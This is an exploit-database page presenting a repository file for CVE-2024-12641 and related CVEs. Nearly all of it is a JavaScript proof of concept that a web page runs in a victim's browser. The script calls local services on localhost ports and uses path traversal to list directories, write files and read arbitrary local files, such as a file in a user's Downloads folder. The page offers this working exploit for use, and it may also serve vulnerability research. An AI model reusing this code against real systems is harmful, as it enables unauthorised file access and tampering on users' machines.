Exploit databaseDownload repository ZIP
GH-2708fa27ae32ad25df87261e95e22c3c
jimmy01240397/cve-2024-12641_12642_12645
Sources for CVE-2024-12641
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files6
jimmy01240397/cve-2024-12641_12642_12645Revision eeba1d4cf199
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
tdt/file.html
Suggested starting fileHTML · 2,170 bytes
<script type="module">
async function ls(dir) {
//const res = await fetch('http://localhost:9990/fileManager/getFileList', {
//const res = await fetch('http://localhost:9991/fileManager/getFileList', {
const res = await fetch('http://localhost:3000/fileManager/getFileList', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `dirPath=${encodeURIComponent(dir)}`,
});
return await res.json();
}
async function write(dir) {
dir = dir.replace('\\', '/');
dir = dir.replace('C:/', '../../../');
let url = `${location.protocol}//${location.hostname}`;
if (location.port != '') {
url += `:${location.port}`;
}
let tenderInfo = JSON.stringify({"apServerAddress":url,"downloadStatus":3,"doctype":1,"fileNames":[]})
await fetch('http://localhost:3000/docDownload/step1', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `tenderInfo=${encodeURIComponent(btoa(tenderInfo))}`,
});
let selectedFiles = JSON.stringify({"selectedFiles":dir})
const res = await fetch('http://localhost:3000/docDownload/download', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `selectedFiles=${encodeURIComponent(selectedFiles)}`,
});
return await res.json();
}
async function read(dir) {
dir = dir.replace('\\', '/');
dir = dir.replace('C:/', '../../../../../../../../');
const res = await fetch('http://localhost:9991/downloadFile', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `path=${encodeURIComponent(dir)}&workDirPath=`,
});
return await res.text();
}
console.log(await read('C:/Users/jimmy/Downloads/test.txt'));
</script>